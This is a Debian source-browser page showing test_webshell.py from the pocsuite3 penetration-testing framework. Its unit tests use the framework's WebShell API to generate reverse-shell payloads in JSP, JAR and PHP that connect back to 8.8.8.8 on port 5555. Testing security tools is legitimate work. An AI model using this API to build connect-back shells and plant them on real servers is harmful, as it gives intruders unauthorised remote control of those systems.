File: test_webshell.py

package info (click to toggle)
pocsuite3 2.1.0-1
  • links: PTS, VCS
  • area: main
  • in suites: forky, sid
  • size: 1,996 kB
  • sloc: python: 16,816; asm: 911; java: 66; makefile: 30
file content (32 lines) | stat: -rw-r--r-- 1,178 bytes parent folder | download | duplicates (3)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import unittest
import os
from pocsuite3.api import WebShell
from pocsuite3.lib.core.data import paths
from pocsuite3.lib.core.enums import SHELLCODE_TYPE


class TestCase(unittest.TestCase):
    def setUp(self):
        self.shellpath = os.path.join(paths.POCSUITE_TMP_PATH, "payload.jar")

    def tearDown(self):
        if os.path.exists(self.shellpath):
            os.unlink(self.shellpath)

    def test_gen_jsp_shell(self):
        ip = "8.8.8.8"
        ws = WebShell(connect_back_ip=ip, connect_back_port=5555)
        shellcode, _ = ws.create_shellcode(shell_type=SHELLCODE_TYPE.JSP, inline=True)
        self.assertTrue(ip in shellcode)

    def test_gen_jar_shell(self):
        ip = "8.8.8.8"
        ws = WebShell(connect_back_ip=ip, connect_back_port=5555)
        _, shell = ws.create_shellcode(shell_type=SHELLCODE_TYPE.JAR)
        self.assertTrue(shell.path_to_jar != "")

    def test_gen_php_shell(self):
        ip = "8.8.8.8"
        ws = WebShell(connect_back_ip=ip, connect_back_port=5555)
        shellcode, _ = ws.create_shellcode(shell_type=SHELLCODE_TYPE.PHP, inline=True)
        self.assertTrue(ip in shellcode and shellcode.startswith('<?php'))